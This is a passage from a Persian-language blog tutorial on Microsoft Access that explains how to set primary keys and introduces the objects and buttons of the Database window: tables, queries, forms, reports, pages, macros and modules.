هرگاه فيلدي (يا فيلدهايي)را اضافه كرديد كه مي خواهيد كليد اصلي باشد,بايد موقعي كه نشانگر ماوس روي سطر موردنظر است دكمه Primary Key را از ميله ابزار فشار دهيد(دكمه اي كه تصوير كليد روي آن است).يا مي توانيد با انتخاب سطر موردنظر از منو Edit گزينه Primary Key را انتخاب كنيد. همچنين يك روش ديگر براي مشخص كردن كليد اصلي كليك راست كردن برروي سطر مورد نظر و انتخاب Primary Key از منو ظاهر شده است. پس از انتخاب فيلد كليد اصلي اكسس در سمت چپ فيلد تصوير كليد را نشان مي دهد. توجه كنيد كه هر جدولي كه ايجاد مي كنيد بايد حتما يك كليد اصلي داشته باشد در درسهاي پيش در مورد كليد اصلي به طور مفصل صحبت كرديم. پس بايد به ياد داشته باشيم كه در هنگام ايجاد جدول يك فيلد را به عنوان كليد اصلي انتخاب كنيم.

توجه:براي اينكه بيش از يك فيلد را در كليد اصلي قرار دهيد بايد كليد Ctrl را پايين نگه داريد و همزمان سطرهايي را كه مي خواهيد به عنوان كليد اصلي باشند انتخاب كنيد سپس از ميله ابزار Primary Key را كليك كنيد. اكسس در سمت چپ كليه فيلدهايي كه جز كليد اصلي هستند تصوير كليد را قرار مي دهد.
توجه:اگر فيلد كليد اصلي را تعريف نكنيد در هنگام بستن يا ذخيره كردن جدول طراحي شده اكسس از شما سوال مي كند كه آيا مي خواهيد چنين فيلدي داشته باشيد اگر پاسخ Yes را بدهيد اكسس فيلدي از نوع Auto Number(بعدا توضيح داده خواهد شد)به جدول اضافه كرده و آن را كليد اصلي قرار مي دهد. اگر مطمئن هستيد كه هرگز به كليد اصلي نياز نداريد (معمولا به يك فيلد كليد اصلي نياز است) No را انتخاي كنيد.
درس تعريف جدول هم تمام شد حال شما مي توانيد جدول خود را ايجاد كنيد ولي يك مشكل كوچك وجود دارد و آن هم نوع داده هاي موجود در ستون Data Type مي باشد نوع داده ها خود بحث مفصلي است كه آنرا به درس بعدي موكول مي كنيم.

 
comment نظرات ()
 
 
آموزش access قسمت دوم
نویسنده : Hossein - ساعت ۱٠:٥٥ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 


بررسی اجزای اصلی

در درسهاي گذشته به طور كامل با محيط اكسس آشنا شديم و اميدوارم كه شما تمامي پايگاهاي نمونه را بررسي كرده باشيد و كاملا مفهوم كار با اكسس براي شما روشن شده باشد. درس اين جلسه يكي از مهمترين دروس در رابطه با اكسس است و شما حتما سعي كنيد به طور كامل اين درس را بفميد و حتما در مورد اين درس اگه سوالي بود بپرسيد چون واقعا فهميدن اين قسمت از اكسس كار را بسيار ساده خواهد كرد.
در اين درس ما با بخشهاي مختلف پنجره Database آشنا مي شويم و چگونگي استفاده از هر يك را توضيح خواهيم داد. مي توان گفت پنجره Database سكوي پرتاب شما به سوي Access است, تمامي فعاليتهاي كه در اكسس انجام مي شود از اين محل شروع مي شود, آشنايي با اين پنجره مي توان گفت آشنايي با خود اكسس است. بعد از يادگيري اين بخش ار اكسس شما براحتي خواهيد توانست ديگر خصوصيات پايگاه داده را ياد بگيريد. من به شما توصيه مي كنم يكي از پايگاههاي داده نمونه را باز كنيد تا هنگام درس اجزاي اصلي پنجره Database را مشاهده كنيد.

معني دقيق پايگاه داده ها

به احتمال بسيار قوي شما با مفهوم پايگاه داده آشنا هستيد ولي ما براي ادامه كار اشاره كوچكي به آن مي كنيم. شايد اساسي ترين تعريف پايگاه داده اين باشد:

پايگاه داده: مجموعه اي از داده هاي مرتبط به هم است.

در واقع اين تعريف شامل هر نوع فايل داده اي كه با آن كار مي كنيد مي شود. مثلا نامه, گزارش و كتاب مجموعه اي از داده ها به صورت كلمات مرتبط به هم است. يا فايلهاي گرافيكي داده هاي مرتبطي است متشكل از نقاط رنگي بسياري (پيكسل) كه تصوير را تشكيل مي دهند. با توجه به اينكه ممكن است تعريف بالا كمي پيچيده و عمومي تر باشد در زير اشاره به تعريفي خاص در مورد پايگاه داده در اكسس مي كنيم:

پايگاه داده اكسس: مجموعه اي است از داده هاي مرتبط و ابزارهايي كه با استفاده از آنها با داده ها كار مي كند.
بنابراين پايگاه داده در اكسس از فايلهاي داده مرتبط به يكديگري تشكيل شده است كه به همراه ابزارهايي كه شي ناميده مي شوند به شما امكان دسترسي, گردآوري و گزارش گيري از داده ها را مي دهد. هر پايگاه داده ارتباطي برخلاف انواع ديگر فايلها مجموعه هايي از داده ها را شامل مي شود كه به آنها جدول گفته مي شود. در خارج پايگاه داده, هر جدول, ممكن است بعنوان يك فايل مجزا در نظر گرفته شود. مثلا يك پايگاه داده تجاري ممكن است شامل فايل مرتب شده اي از سفارشات خريداران, فايل موجودي, فايل فهرست نشاني خريداران, فايل اطلاعات كارمندان و فايل دستمزد باشد كه تك تك اين فايلها در اكسس به صورت جدول هستند.
بدون ساخت پايگاه داده ها, هريك از اين فايلها را بايد جداگانه مديريت كرد, اما پايگاه داده ها قادر است تا در صورت وجود مقادير مشترك. اين جدولها (فايلها) را به هم مرتبط كند, مثالي در اين مورد كد مشتركي است كه در جدول مشتريان و جدول سفارشات مشتريان وجود دارد.

توجه:

اكسس پايگاه داده ارتباطي ناميده مي شود زيرا مي تواند جداول داده ها را براساس مقادير مشترك به يكديگر مرتبط كند.
جدول خريداران (فايل داده هاي خريداران)ممكن است شامل كد, نام و نشاني هر خريدار باشد. جدول سفارشها, ممكن است شامل اطلاعات سفارش هر خريدار در طي يكسال گذشته باشد. در اينجا بايد توجه كرد كه جدول سفارشها نبايد نام و نشاني خريداران را داشته باشد فقط كد آنها كافي است. اگر تمامي اطلاعات خريدار در جدول سفارش نيز موجود باشد اينكار سبب هدر رفتن وقت و وجود اطلاعات مشابه و تكراري بسيار خواهد شد و همچنين در موقعي كه مثلا نشاني خريدار عوض مي شود بايد تمامي سفارشها را چك كرد و همه را عوض كرد ولي در موقعي كه فقط كد در جدول سفارشها مي باشد نيازي به تغيير در جدول سفارشها نيست و فقط بايد جدول خريدار عوض شود.

در شكل 41 يعني شكل زير اين مطلب به طور كامل نشان داده شده است يعني ارتباط بين جدول خريداران و جدول سفارشات مشخص است. ممكن است جدول متعدد ديگري نيز وجود داشته باشد. در هر پايگاه داده, تقريبا هر جدولي از طريق داده ها و اطلاعات مشترك به يك يا چند جدول ديگر مرتبط مي شود در مثال زير اين داده مشترك در دو جدول كد خريدار است.

هر پايگاه داده, علاوه بر جداول, شي هاي ديگري نيز دارد. هرچند كه شايد جداول يك پايگاه داده مهمترين شي آن باشد (جداول, داده هاي پايگاه داده را نگهداري مي كنند). اشياي ديگر در پنجره Database ما را در مديريت, پهنگام سازي و گزارش گيري از جداول همياري مي كنند. اكثر پايگاههاي داده اكسس از بجز جدولها كه در تمام پايگاهها موجود است از بيشتر عناصر پنجره Database نيز استفاده مي كنند.

توجه:

هر از چند گاهي به پنجره پايگاه داده, ظرف پايگاه داده نيز گفته مي شود زيرا تمامي اشياي پايگاه داده را شامل مي شود.
حال هر يك از اجزا در پنجره Database را به طور مختصر توضيح مي دهيم:(اين اجزا در زير ستون Objects قرار دارند و به اجزاي اصلي مشهورند)

---------------------

1-جدولها(Tables):
مجموعه اي از داده ها را كه به يك موضوع مشخص مربوط هستند در خود نگهداري مي كنند. مثلا اگر يك سيستم حسابداري خانگي ايجاد كنيد بايد جدولي براي درآمدها, جدولي براي مخارج, جدولي براي هزينه هاي مشخص و غيره ايجاد كنيد.

2-بازجست ها(Queries):
زيرمجموعه اي از داده ها را ايجاد مي كند, كه براي گزارشگيري و جستجو قابل استفاده مي باشند. مثلا اگر شما بخواهيد كليه مخارجي را كه در 10 روز آتي پرداخت شده اند را بدست آوريد بايد از بازجست استفاده كنيد.

3-فرمها(Forms):
صفحه اي گرافيكي براي ورود داده ها يا نمايش آنها را نشان مي دهد كه از فرمهاي كاغذي تقليد شده است. فرم, روش ساده اي است براي مشاهده تمام يا بخشي از داده ها. مثلا شما مي توانيد يك فرم مانند صفحه چك درست كنيد و هر وقت چكي پرداخت كرديد در وارد كردن صورتحساب يك چك معمولي را در صفحه پر كنيد.

4-گزارشها(Reports):
فهرست شكل بندي شده اي از داده ها را چاپ مي كند. يك گزارش ممكن از مواردي از يكي از جداول, فهرستي از اقلام انتخاب شده, تمامي اقلام يك جدول يا فهرستي از مقادير گوناگون از جداول مختلف را چاپ كند. مثلا شما ميتوانيد در حسابداري خانه گزارشي از كليه بدهي هايتان بگيريد.

5-صفحه ها(Pages):
عملي مشابه گزارشگيري را انجام مي دهد با اين تفاوت كه در اين حالت گزارش به صورت يك صفحه اينترنتي به بيرون داده مي شود و موارد استفاده آن در طراحي صفحات اينترنتي است.

6-ماكروها(Macros):
بسياري از كارهاي متداول اكسس را خودكار مي كند. مانند مرتب كردن داده ها, ايجاد گزارشها و ايجاد سرجمع ها. مثلا سيستم پايگاه داده حسابداري خانه مي تواند ماكرويي براي محاسبه گردش پولي در يك ماه داشته باشد.

7-مدولهاي برنامه(Macros):
قابليت خودكار كردن اكسس و ايجاد سيستم هاي آماده براي كار را فراهم مي كند, بطوري كه براي افرادي كه چيزي از اكسس نميدانند قابل استفاده باشد. زماني كه برنامه اي براي اكسس مي نويسيد, در واقع آن را براي انجام كارهاي پيچيده اي برنامه ريزي مي كنيدكه از طريق منوها و ماكروها بخودي خود امكان انجام آن نيست. در واقع ماكروهاي اكسس شكلي از مدولهاي ترجمه شده هستند, بدين معني كه ماكروها شما را در راستاي تمامي اطلاعات لازم براي تكميل يك فرمان Visual Basic for Applications هدايت مي كنند. برخي افراد پس از سالها استفاده از اكسس هيچگاه به مدول نويسي نيازي نداشته اند. اگر سابقه برنامه نويسي نداشته باشيد, نوشتن برنامه دشوار است. ولي به نظر من شما فقط در واقع خيلي پيچيده به مدولها نياز خواهيد داشت.

---------------------

توجه به اين نكته ضروري است كه پايگاه داده ممكن است پيوسته در حال تغيير باشد. مثلا شما با توجه به نيازهايي كه پيش مي آيد اقدام به ساخت جدولهاي جديد و ايجاد گزارشهاي ديگري كنيد. در شكل 42 در زير شما شش شي پايگاه داده را كه تركيب آنها پايگاه داده مستقلي را شكل مي دهد, مشاهده مي كنيد. شايد يكي از مشكلترين چيزهائي كه در هنگام كار با اكسس بايد راجع به آن تصميم گيري كنيد اين است كه چه وقت مجموعه اي از اطلاعات را در پايگاه داده جديد يا پايگاه داده موجود قرار دهيم.



پايگاه داده مي تواند هدفي گسترده داشته باشد, هر پايگاه داده معمولا يك برنامه كاربردي است. در مثالهاي زير به كاربردهاي پايگاه داده هاي خاص اشاره اي مي شود:
1-اگر بخواهيد حسابهاي شما با يكديگر بده-بستان يا تعامل داشته باشند, حساب دفتر كل به يك پايگاه داده مجزا احتياج دارد. هنگامي كه از حسابي پرداختي انجام مي دهيد, مي خواهيد تا هم در جدول پرداختها و هم در جدول حسابها منعكس شود.
2-اگر بخواهيم يك سيستم مستقل پرداخت دستمزد داشته باشيد, بطوري كه بخش پرداخت دستمزد منحصرا براي پرداخت چك و نگهداري سوابق پرداخت مورد استفاده قرار گيرد, سيستم دستمزد نيز يك پايگاه داده مجزا نياز دارد.
3-نرم افزار بودجه بندي, براي بودجه بندي هريك از حسابهاي خانه, از قبيل پرداختهاي قبض, حساب اتومبيل و گزارش گيري از تمامي حسابها, به يك پايگاه داده مجزا نيازمند است.
4-يك سيستم كنترل موجودي به پايگاه داده اي نيازمند است تا بتواند ثبتهاي موجودي مربوط به شركت را پيگري, بهنگام و نگهداري كند.
بايد توجه داشت كه فهرست بالا تنها چند مورد مثال خاص مي باشد كه بسيار مختصر است و فقط براي آشنايي ذكر شده اند. به طور كلي بايد ذكر كرد هر يك از جداولي كه به نوعي با هم در ارتباط هستند بايد در يك پايگاه داده قرار داده شوند.

استفاده از اجزا’ پنجره Database:

هنگامي كه يك پايگاه داده جديد ايجاد مي كنيد, اكسس يك پنجره Database خالي را نمايش مي دهد كه براي هر يك از هفت شي پايگاه داده در آن شاخصي وجود دارد.اگر قصد كار كردن با هر يك از اين هفت شاخص را داريد بايد بر روي آن كليك كنيد مثلا اگر قصد ايجاد ماكرو را داريد بايد بر روي گزينه Macros در پنجره Database كليك كنيد. بسته به انتخابي كه شما از شاخصها مي كنيد در بالاي پنجره Database كليدهاي فرمان مختلفي نمايش داده مي شود كه در زير به طور مختصر به معرفي آنها مي پردازيم:

---------------------

1-باز كردن(Open): براي باز كردن شي موجود مثلا باز كردن يك جدول يا يك فرم

2-طراحي(Design):براي ايجاد تغيير در شي كه با انتخاب اين فرمان حالت نمايشي Design پديدار مي شود مثلا شما اگر بعد از ايجاد يك فرم قصد ايجاد تغيير در آن را داشتيد بايد بر روي Design كليك كنيد.

3-جديد(New):براي ايجاد شي جديد مثلا ايجاد جدولي جديد

4-بازنگري(Preview):
اين فرمان فقط در قسمت گزارش وجود دارد و براي مشاهده گزارش قبل از چاپ مي باشد.

5-اجرا(Run):يك فرمان در شاخصهاي ماكرو و مدول وجود دارد و براي اجراي يك ماكرو يا مدول(برنامه) به كار مي رود.

6-حذف(Delete): در تمامي شاخصها موجود است و براي حذف شي به كار مي رود. اين راحترين قسمت است.

7-مرتب سازي: چهار گزينه بعدي كه در همه شاخصها موجود است براي مرتب سازي اشيا به كار مي رود و درست مانند مرتب سازي آيكونها در ويندوز عمل مي كند.

---------------------

هنگامي كه شي جديدي ايجاد مي كنيد بايد آنرا نامگذاري كنيد. مي توانيد نامهايي با حداكثر درازي 64 كاراكتر(حرف و عدد), كه در آن فاصله نيز مي توان استفاده كرد اختيار كنيد.با ايجاد و نامگذاري يك شي آن شي در پنجره Database نمايش داده خواهد شد.
درس اين جلسه تا بدينجا بود در درس بعدي در مورد هر يك از شاخصها به طور مفصلتر بحث خواهيم كرد. پیشنهاد می کنیم قبل از آنکه به درس بعدی بروید اجزايي كه ياد گرفتيد آشنايي كامل پيدا كنيد.

نگاهی کلی به اجزای اصلی

در درس پيش با مفهوم پايگاه داده آشنا شديم و تا حدودي به جزئيات پنجره Database پرداختيم و آشنايي لازم را با دكمه هاي اين پنجره پيدا كرديم در اين قسمت درس قصد داريم تا پنجره Database را بيشتر از قبل بررسي و تحليل كنيم. اين درس در واقع ادامه درس قبلي مي باشد پس اين درس نيز از نظر اهميت داراي درجه بالايي است.

نگاهي به جداول:

اگر پايگاه داده, هيچ شي ديگري نداشته باشد, همواره بايد حداقل يك جدول داشته باشد. داده هاي پايگاه داده را جدول نگهداري مي كند. همانطوري كه در درس قبل اشاره شد,جداول اغلب با مقادير داده مشترك به يكديگر مرتبط مي شوند, به ترتيبي كه دو يا چند جدول نبايد داده هاي زيادي يا تكراري داشته باشند. براي نمايش اسامي جداول موجود در پايگاه داده بر روي شاخص Tables در پنجره Database كليك كنيد. براي باز كردن و مشاهده محتويات هر جدول مي توانيد بر روي نام آن جدول دوبار كليك كنيد. كه در اين حالت Access جدول را در حالت نمايش Datasheet يا كاربرگ باز مي كند,كه در اين حالت شما مي توانيد داده هاي موجود در جدول را مشاهده كنيد.
معمولا در حالت نمايشي كاربرگ تمامي داده هاي يك سطر جدول در صفحه نمايش جا نمي گيرد. براي مشاهده بقيه داده هاي هر سطر مي توانيد از ميله هاي گردش افقي پنجره در زير آن استفاده كنيد و به چپ و راست برويد.
جدول براي مشاهده و كار با آن, به حالات ديگري هم براي نمايش نياز دارد. در حاليكه حالت نمايشي Datasheet يا كاربرگ امكان مشاهده, افزودن, حذف و اصلاح داده هاي جدول را مي دهد, حالت نمايشي طراحي كه در اكسس با عنوان Design view شناخته مي شود امكان تغيير شكل جدول و طراحي خود جدول را فراهم مي كند. البته وقتي كه بيشتر راجع به ساختار جدول صحبت كرديم شما تصوير بهتري از حالت طراحي خواهيد داشت. به طور كلي حالت Datasheet براي اضافه كردن و مشاهده داده ها و حالت طراحي براي طراحي و تغيير خود جدول نه داده ها به كار مي رود.
براي ديدن جدول در حالت نمايشي طراحي يا Design مي توانيد جدول خود را انتخاب كرده و سپس بر روي دكمه design در بالاي پنجره Database كه قبلا معرفي شد كليك كنيد. بعد از باز كردن پنجره در حالت Design ملاحظه خواهيد كرد كه در اين حالت هيچ خبري از داده هاي موجود در جدول نيست و فقط شكل جدول در اين حالت در دسترس است.
اگر جدول را در حالت Datasheet باز كرده ايد و قصد رفتن به حالت design را داريد اين كار را مي توانيد با استفاده از منو view و انتخاب دو حالت Datasheet view و Design view انجام دهيد و به راحتي بين دو حالت جدول حركت كنيد.
جدول ساختاري مشخص و اكيد دارد. داده هاي جدول در داخل جدول درون سطرها و ستونها جدول قرارگرفته و سازماندهي مي شوند كه به اين سطرها و ستونها به ترتيب ركورد و فيلد گفته مي شود(حتما به خاطر بسپاريد سطر در معناي ركورد و ستون در معناي فيلد به كار مي رود.)
هر ركورد جدول بيانگر يك داده مستقل است. مثلا: در جدول اقلام موجودي در انبار هر ركورد جدول نشان دهنده يكي از انواع قطعات موجود در انبار است.هر فيلد ركورد, نشانه دهنده جزيي از داده هاي مربوط به هر قطعه, مانند شماره قطعه, تعداد و شرح است. اگر قطعه اي 32 عدد موجود باشد, ركورد قطعه فقط يك بار در جدول تكرار مي شود اما ميزان موجودي در فيلد تعداد منعكس مي شود. با توجه كردن به شكل 51 زير بيشتر مفهوم اين بيان را خواهيد فهميد.



اين كه تمامي ركوردها, فيلدهاي مشابهي دارند, به اين معني نيست كه تمامي فيلدهاي هر ركورد بايد پر باشد. مثلا يك جدول موجودي, ممكن است فيلدي به نام قيمت خرده فروشي داشته باشد, ولي فقط تعداد اندكي از ركوردها, مقداري را در اين فيلد نگه داشته باشند. بنابراين برخي از ركوردها قيمت خرده فروشي ندارند عليرغم اينكه پاره اي از ركوردهاي جدول, قيمت خرده فروشي دارند.
توجه به اين نكته ضروري است كه فيلد مشترك مانند شماره قطعه يا كد مشتري, مبناي ارتباط بين دو جدول مرتبط را تشكيل مي دهد و امكان خالي رد كردن اين فيلدها داده نمي شود.
وجود فيلد مشتركي كه دو جدول را به يكديگر مرتبط مي كند, بدين معني است كه امكان رهائي كامل از داده هاي تكراري وجود ندارد. براي دو جدول مرتبط, داده ها بايد تكرار شوند زيرا هر دو جدول بايد فيلدهاي مشتركي براي ارتباط داشته باشند. شايد اگر براي تمامي داده ها يك جدول بزرگ ايجاد كنيد, مجبور به داشتن فيلدهاي تكراري نباشيد, اما با اينكار زمان زيادي را در ورود داده ها هدر خواهيد داد, چون در هر ركورد بايد تمامي فيلدهاي پايگاه داده وجود داشته باشد و از طرفي بعضي مواقع هم امكان ايجاد يك جدول بزرگ وجود ندارد پس ما مجبور به استفاده از چندين جدول هستيم كه بهترين راه براي جلوگيري از افزايش تعداد داده هاي مشترك استفاده از ارتباط فيلد مشترك است.
بعد از كار با جدول مي توانيد جدول را با استفاده از منو File و گزينه Close ببنديد.

نگاهي به بازجست:

براي مشاهده بازجستهاي هر پايگاه داده بايد بر روي شاخص Queries در پنجره Database استفاده كنيد. براي باز كردن هر بازجست مي توانيد بر روي نام آن دوبار كليك كنيد يا بد از انتخاب آن به وسيله ماوس بر روي دكمه Open در بالاي پنجره Database كليك كنيد.
هنگامي كه بازجستي را باز مي كنيد, اكسس آن بازجست را در حالت نمايش Datasheet مربوط به بازجست باز مي كند, كه كاملا مشابه حالت نمايشي Datasheet مربوط به جدول است. تنها تفوت در آن است كه حالت نمايشي Datasheet مربوط به بازجست معمولا به اندازه جدول, داده و اطلاعات ندارد. در واقع اين حالت نمايشي ميزان محدودي از داده ها را, كه مقصود اصلي از ايجاد بازجست است نمايش مي دهد. بازجست, داده ها را از يك يا چند جدول انتخاب مي كند و مي توانيد زيرمجموعه اي از داده ها را به عنوان جدول يا گزارش نمايش دهيد. در بيشتر مواقع مقدار داده هاي پايگاه داده بيشتر از آن است كه مايل به مشاهده هستيد. هدف از ايجاد بازجست, محدود كردن مقدار داده هاي به نمايش درآمده است. بازجست انتخابي از جمله متداولترين انواع بازجست ها است. بازجست انتخابي, داده ها را ميان دو يا چند جدول انتخاب كرده و نمايش مي دهد. علاوه بر حالت نمايشي Datasheet كه مانند حالت نمايشي جدول مي باشد بازجست را مي توان در حالت نمايشي Design نيز باز كرد كه مربوط به حالت طراحي بازجست است و براي رفتن به اين حالت مي توانيد درست مانند جدول رفتار كنيد و يا با انتخاب بازجست مورد نظر و كليك روي دكمه Design در بالاي پنجره Database اين حالت را نمايان كنيد.
همانطور كه مشاهده مي كنيد حالت طراحي Design مربوط به بازجست, ظاهر پيچيده اي دارد. اما بعد از آشنايي كامل با بازجست ايجاد و اجراي آن براي شما بسيار ساده خواهد بود. ايجاد بازجست در حالت طراحي Design و نمايش آن در حالت نمايشي Datasheet صورت مي پذيرد. بعد از پايان كار خود با بازجست مي توانيد بوسيله منو File و گزينه Close بازجست را ببنديد.

نگاهي به فرم:

براي مشاهده فرمهاي يك پايگاه داده, از شاخص Form در پنجره Database استفاده مي كنيم. براي مشاهده محتواي هر فرم مي توانيد در روي نا آن دوبار كليك كنيد و يا پس از انتخاب فرم مورد نظر بر روي دكمه Open در بالاي پنجره Database كليك كنيد.
بعد از باز كردن فرم مورد نظر اكسس آنرا در حالت نمايش Form يا Form View نشان خواهد داد. حالت نمايشي Form, فرم را در شكل نهايي آن نشان مي دهد و امكان ورود, اصلاح و نمايش داده ها را فراهم مي سازد. كليدهاي راهبري كه در زير اكثر حالات نمايشي وجود دارد, شماره ركورد و تعداد كل آنها را نمايش مي دهد.
چهار كليد اطراف نشانگر ركورد, براي گرداندن فرم و نمايش ركوردهاي مختلف به كار مي رود. شما مي توانيد ركوردهاي اول, بعدي, قبلي و آخري را مشاهده كنيد. شماره بين كليدها, شماره ركورد جاري كه فعلا مشاهده مي كنيد است.اگر بر روي شماره ركورد جاري, شماره ركورد جديدي را وارد كنيد اكسس در صورت وجود آن ركورد آنرا در فرم نمايش مي دهد.كليدهاي راهبري كه در منتهي اليه سمت راست قرار دارد, امكان ايجاد ركورد جديدي را با يك فرم خالي فراهم مي سازد. همانطور كه مشاهده مي كنيد كليدهاي راهبري مشابه كليدهاي كنترلي پخش صوت طراحي شده اند. با توجه كردن به شكل 52 در زير مفهوم كليدهاي راهبري را بيشتر درك خواهيد كرد.







حالت نمايشي Design در مورد Form نيز شكل فرم را نشان مي دهد. براي دسترسي به اين حالت شما مي توانيد درست مانند جدول رفتار كنيد و يا با انتخاب فرم مورد نظر بر روي دكمه Design در بالاي پنجره Database كليك كنيد. شايد براي شما در اين لحظه شكل آن عجيب به نظر بيايد ولي وقتي در درسهاي آتي روش ايجاد فرم را فراگرفتيد, نحوه خواندن حالت نمايشي Form را نيز خواهيد فهميد. با دستكاري در حالت نمايشي Design, مي توانيد نحوه نمايش داده هاي درون فرم را تغيير دهيد.
در درون فرم حالت نمايشي ديگري نيز وجود دارد و آن حالت نمايشي Datasheet است. كه براي دسترسي به آن بعد از باز كردن فرم مورد نظر مي توان از منو View گزينه Datasheet را انتخاب كرد.اين حالت كاملا شبيه حالت نمايشي Datasheet در جداول است. مزين حالت نمايشي Datasheet به حالت نمايشي معمولي فرم در اين است كه در اين حالت تعداد ركورد بيشتري نمايش داده مي شود در حالي كه در حالت نمايش معمولي فقط يك ركورد نمايش داده مي شود. البته در درسهاي آتي بيشتر در مورد اين حالت نمايشي صحبت خواهد شد.
بعد از پايان كار با فرم مي توانيد به وسيله منوي File و گزينه Close از فرم مورد نظر خارج شويد.

نگاهي به گزارش:

براي نمايش گزارشهاي هر پايگاه داده مي توان از شاخص Reports در پنجره Database استفاده كرد. هرچند كه مي توان گزارشها را روي صفحه نمايش بازنگري كرد ولي وقتي كه آنها را بر روي كاغذ چاپ كنيم بسيار مفيدتر خواهند بود. اگر بخواهيم قبل از چاپ محتواي گزارش را مشاهده كنيم مي توانيم بر روي نام گزارش مورد نظر دوبار كليك كنيم يا با انتخاب گزارش موردنظر بر روي دكمه Preview در بالاي پنجره Database كليك كنيم. (البته بايد توجه كرد كه گزارش تنها مختص چاپ كردن نيستند و كاربردهاي ديگري نيز دارند)
شما مي توانيد گزارشي بسازيد كه تمامي داده هاي يك جدول, چندين جدول, بازجست را نمايش دهد.با باز كردن گزارش شما آنرا در حالت Print Preview (بازنگري چاپ) به نمايش در خواهيد آورد.بازنگري چاپ گزارش را در شكل نهايي آن نشان مي دهد, اما بجاي چاپ گزارش, آنرا برروي صفحه مشاهده مي كنيد, تا قبل از چاپ گزارش از صحت آن مطمئن شويد.
در حالت Print Preview در مورد گزارش, امكان تغيير, اضافه يا حذف داده ها از پايگاه داده وجود ندارد. ولي با استفاده از آن مي توانيد مقادير مختلفي از اطلاعات را مشاهده كنيد. دقت داشته باشيد كه در هنگام حركت ماوس بر روي پنجره Print Preview, مكان نماي ماوس به يك ذره بين تبديل مي شود. در اين حالت اگر با ماوس كليك بزنيد, تصوير بزرگ شده گزارش را مشاهده مي كنيد, بدين تزتين مي توانيد گزارش را از نزديك مرور كنيد.
حالت نمايشي Design در مورد گزارش شكل آنرا نشان مي دهد.براي دسترسي به اين حالت مي توان درست مانند اجزا ديگر عمل كرد ويا با انتخاب گزارش مورد نظر بر روي دكمه Design در بالاي پنجره Database كليك كرد.بعدا با استفاده از حالت نمايشي Design شكل گزارش را تغيير خواهيم داد.

نگاهي به صفحه ها:

براي نمايش صفحه هاي وب موجود در يك پايگاه داده مي توانيد بر روي شاخص Pages در پنجره Database كليك كنيد. صفحه ها در يك پايگاه داده اكسس براي استخراج داده ها از جدول به يك صفحه وب مورد استفاده قرار مي گيرند درست مانند گزارش با اين اختلاف كه اين بار به جاي چاپ صفحه گزارش آنرا در يك مرورگر وب مانند IE مي تواند مشاهده كرد. من نمي خواهم زياد در مورد صفحه ها در اين قسمت توضيح دهم زيرا كاركرد آنها بسيار شبيه گزارشها مي باشند و هر كاري كه با گزارش انجام داديم مي توانيد با اين صفحه ها نيز انجام دهيد فقط به خاطر داشته باشيد كه اينها هر كدام يك صفحه وب مي باشند. در صفحه ها نيز مانند گزارش ها حالت نمايشي Design براي طراحي استفاده مي شود.
مي توان بزرگترين تفاوت بين گزارشها و صفحه ها را پوياتر بودن صفحات بيان كردن بدين معني كه شما بهتر از گزارش مي توانيد اطلاعات موجود در پايگاه داده را مرور كنيد و بين آنها حركت كنيد.

نگاهي به ماكروها:

ماكروها فهرست فراميني است كه در آنها كارهايي كه معمولا از طريق صفحه كليد انجام مي دهيد, تعريف مي شود. مثلا مي توانيد ماكرويي ايجاد كنيد كه هنگام وقوع شرايطي خاص مثل هنگامي كه ميزا فروش چيزي از تعداد يا مقدار مشخصي كمتر شود, گزارش مشخصي را چاپ كند. البته با استفاده از منوها نيز مي توانيد گزارش مورد نظر را چاپ كنيد ولي ماكرو مراحل كار را خودكار مي كند, بدين ترتيب كي توانيد با فشار كليد فرمان روي فرم, گزارش را چاپ كنيد.
به اين نكته توجه كنيد كه ماكروها اغلب به كليدهاي فرمان وصل مي شوند تا اجراي آنها براي كاربر ساده باشد چون به هرحال شما استفاده كننده هستيد و مايليد تا كارها تا حد امكان ساده انجام شود.
توجه كنيد كه كليد Run در بالاي صفحه Database ماكرو را اجرا مي كند ولي تا زماني كه نحوه عملكرد آنرا در برنامه نمي دانيد به هيچ وجه اقدام به اجراي آن نكنيد.
هرگاه بخواهيد محتويات ماكرو را از پنجره Database مشاهده كنيد بايد نام ماكرو مورد نظر را انتخاب كرده و بر روي دكمه Design در بالاي پنجره Database كليك كنيد كه در اين حالت حالت نمايش Design مربوط به ماكرو را مشاهده مي كنيد. فهرست اعمال ماكرو را در اين پنجره مشاهده مي كنيد به احتمال قوي اين اعمال مرموز به نظر مي رسندولي به مرور با آنها آشنا خواهيد شد.
چون ماكرو فهرست كارهاي خودكار شده است و شما هنوز نمي دانيد اكسس چه كارهايي مي تواند انجام دهد پس در اين مقطع نمي توان كار زيادي براي افزايش درك نسبت به ماكرو كرد. پس از پايان كار با ماكرو آنرا به وسيله منو File . گزينه Close ببنديد.

نگاهي به مدول ها:

مدولها برنامه هاي كاملي هستند كه با Visual Basic for Applications نوشته مي شوند, و براي خودكار كردن كارها به كار مي روند.برخلاف ماكروها كه ساده هستند برنامه كاربردي را مي توان به نحوي ايجاد كرد كه به هر حركت استفاده كننده پاسخ داده و عكس العمل نشان دهد. ما در درسهاي آينده به چگونگي كار مدولها خواهيم پرداخت ولي به دلايل زير به طور كامل آنرا توضيح نخواهيم داد:

----------------

برنامه نويسي با مدولها به مهارت هاي كامپيوتري پيشرفته اي نياز دارد كه من فكر نمي كنم تمامي مطالعه كننده هاي اين دروس به مهارتها آشنا باشند. اكسس محل خوبي براي يادگيري نحوه برنامه نويسي نيست. بسياري از افراد ساليان متمادي بدون نياز به نوشتن مدول, بصورتي موثر و كارا از اكسس استفاده مي كنند. حتي اگر بخواهيم برنامه هاي كاربردي قوي در اكسس ايجاد كنيم مي توان حتي بدون يك نياز كوچك به مدول اين كارها را انجام داد.

---------------

اگر قبلا برنامه نويسي كرده باشيد, خصوصا با يكي از زبانهاي مشابه Basic مانند Qbasic و BasicA يا Visual Basic در استفاده از مدولها مشكل خاصي نخواهيد داشت.
البته در كلاسهاي اين سايت يكي از همكاران من دروس Visual Basic را براي شما عزيران تدريس مي كنند كه بسيار مفيد و پرمحتوا مي باشد و شما تما با دنبال كردن دروس اين همكار عزيز براحتي كار با مدولها را ياد خواهيد گرفت و من نيز شما را در اين راه ياري خواهم كرد.
پس از پايان كار با مدول مي توانيد از منو File و گزينه Close اقدام به بستن مدول بكنيد.

---------------------

درس اين جلسه در اين قسمت به پايان مي رسد و شما تا حالا به طور دقيق با كاركرد اجزا پنجره Database آشنا شده ايد. در دروس بعدي به تدريج به طور حرفه اي به كار با اين اجزا روي خواهيم آورد. در درس بعدي طراحي يك پايگاه داده هاي جديد را شرح خواهم داد. به اميد شادابي بيشتر شما دوستان عزيز

 
